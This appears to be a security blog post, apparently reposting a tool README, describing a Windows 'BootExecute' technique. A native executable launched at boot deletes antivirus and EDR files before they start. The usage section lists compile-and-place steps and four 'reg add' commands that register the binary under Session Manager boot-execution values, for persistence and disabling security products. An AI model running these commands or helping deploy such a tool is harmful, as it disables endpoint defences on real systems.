Cyber security

BootExecute EDR Bypass : A Deep Dive Into Early Execution Techniques

Boot Execute allows native applications—executables with the NtProcessStartup entry point and dependencies solely on ntdll.dll—to run prior to the complete initialization of the Windows operating system.

This occurs even before Windows services are launched. Historically, attackers have exploited this mechanism as a rudimentary persistence method.

However, utilizing this feature requires administrative privileges, both to modify the corresponding registry key and to place the executable within the %SystemRoot%\System32 directory.

Because these native applications execute before security mechanisms are fully operational, this presents an opportunity to disrupt antivirus (AV) and endpoint detection and response (EDR) systems by deleting critical application files as we run with SYSTEM privileges.

The code contained within the project is an example demonstration of exploiting this “feature” to disable Endpoint Security Products before they have a chance to stop us.

Usage

  1. Compile binary
  2. Place BEB.exe in C:\Windows\System32\
  3. Add either of the following registry keys to launch your binary before win32k subsytem initialization
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecute" /t REG_MULTI_SZ /d "autocheck autochk *\0BEB" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecuteNoPnpSync" /t REG_MULTI_SZ /d "BEB" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "SetupExecute" /t REG_MULTI_SZ /d "BEB" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f
Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

TWEET-MACHINE (TM) : A Powerful Twitter OSINT Tool

TWEET-MACHINE (TM) is an innovative Open-Source Intelligence (OSINT) tool designed specifically for Twitter. It enables…

2 hours ago

Comprehensive Rust : Tools And Workflow

Comprehensive Rust is an open-source, multi-day Rust programming course developed by Google’s Android team. It…

2 hours ago

RustPython : Bridging Python’s Flexibility With Rust’s Performance

RustPython is an open-source Python 3 interpreter written entirely in Rust, designed to provide a…

2 hours ago

Brush : A Revolutionary 3D Reconstruction Tool

Brush is an innovative 3D reconstruction engine utilizing Gaussian splatting, designed to make high-quality 3D…

2 hours ago

Clippy Reborn : Merging Nostalgia With Modern AI Technology At FireCube Studios

Clippy, the nostalgic virtual assistant from the late 1990s and early 2000s, has been revived…

2 hours ago

LoL Patcher : Exploring The Legacy Of Game Modding And Ethical Boundaries

The LoL Patcher is a legacy modding tool for League of Legends, designed primarily for…

2 hours ago